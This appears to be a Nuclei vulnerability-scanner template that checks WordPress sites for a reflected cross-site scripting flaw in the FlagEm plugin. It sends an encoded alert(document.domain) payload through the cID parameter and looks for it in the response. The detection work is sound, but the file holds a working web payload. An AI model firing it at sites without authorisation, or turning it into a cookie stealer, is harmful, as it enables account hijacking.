nuclei-templates/http/vulnerabilities/wordpress/wp-flagem-xss.yaml

41 lines
1.3 KiB
YAML

id: wp-flagem-xss
info:
name: WordPress FlagEm - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress FlagEm plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/38674
- https://vulners.com/packetstorm/PACKETSTORM:122505
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: wordpress,xss,wp-plugin,edb
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220566b3dcc9cec7b2be397534dd62cb609894054e2db33b5d3c26c652cbdfd012e022073dfc9675436ea7702bc6f86f4311bdbb2fdc39c56411ee976a030caa6cde72e:922c64590222798bb761d5b6d8e72950